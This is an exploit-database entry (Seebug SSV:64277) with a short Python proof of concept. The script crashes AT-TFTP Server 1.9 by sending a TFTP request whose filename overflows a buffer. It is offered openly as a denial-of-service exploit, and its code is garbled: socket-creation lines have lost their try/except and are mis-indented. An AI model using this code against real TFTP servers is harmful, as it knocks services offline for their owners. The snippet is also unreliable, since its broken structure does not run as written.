AT-TFTP <= 1.9 (Long Filename) Remote Buffer Overflow PoC

ID SSV:64277
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00


No description provided by source.

# AT-TFTP Server is a Freeware TFTP server for Windows 9x/NT/XP.
# (
# It provides an implementation of the TFTPv2 protocol.
# A vulnerability has been identified in TFTP Server AT-TFTP Server v1.9, which 
# could be exploited by remote or local attackers to execute arbitrary commands 
# or cause a denial of service. This flaw is due to a buffer overflow error when 
# handling an overly long file name (more than 227 bytes) passed to a "GET" or "PUT" 
# command, which could be exploited by malicious users to compromise a vulnerable 
# system or crash an affected application.
# Buffer Overflow (Long filename) Vulnerability Exploit
# This is just a DoS exploiting code
# Tested on Windows xp SP2
# Requires python and impacket
# Coded by Liu Qixu Of NCNIPC

import socket
import sys

host = ''
port = 69

   s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
   print "socket() failed"

filename = "A" * 227
mode = "netascii"
data = "\x00\x02" + filename + "\0" + mode + "\0"
s.sendto(data, (host, port))

# [2006-11-27]